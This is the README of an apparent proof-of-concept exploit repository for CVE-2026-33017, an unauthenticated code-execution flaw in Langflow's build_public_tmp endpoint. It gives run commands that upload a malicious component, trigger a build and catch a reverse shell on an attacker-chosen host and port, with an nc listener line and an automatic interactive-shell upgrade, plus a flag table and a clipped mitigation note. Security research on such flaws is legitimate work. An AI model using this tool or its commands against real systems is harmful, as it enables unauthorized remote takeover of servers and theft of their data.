tatosec/cve-2026-33017-langflopCVE-2026-33017 Langflow RCE PoC
PoC for the unauthenticated build_public_tmp code-execution flaw in Langflow.
It uploads a malicious component to a public flow, triggers a build, and catches a reverse shell.
For authorized security testing only. Use only against systems you own or have explicit permission to test.
requests (pip install requests)Run the built-in listener and fire the exploit in one go:
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
When the shell connects it automatically attempts to upgrade to a fully interactive shell.
If you'd rather use your own listener (e.g. nc -lvnp 4444), drop --listen:
python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
| Flag | Description |
|---|---|
--url | Target Langflow server URL (required) |
--flow-id | UUID of the shared public flow (required) |
--lhost | Reverse shell callback IP (required) |
--lport | Reverse shell callback port (required) |
--listen | Run the built-in listener |
--timeout | HTTP request timeout in seconds (default 30) |
-k, --insecure | Disable TLS certificate verification (self-signed / expired certs) |
--no-upgrade | Skip the auto TTY upgrade, use a basic line shell |
CVE-2026-33017 is an unauthenticated RCE in Langflow's POST /api/v1/build_public_tmp/{flow_id}/flow
endpoint, which executes attacker-supplied Python from flow node definitions without sandboxing. To learn more check out resources below:
Mitigations from the Sysdig Threat Research writeup:
/api/v1/build_public_tmp endpoint or disable public flow building entirely.This tool is provided for research and authorized penetration testing. The author takes no responsibility for misuse or damage.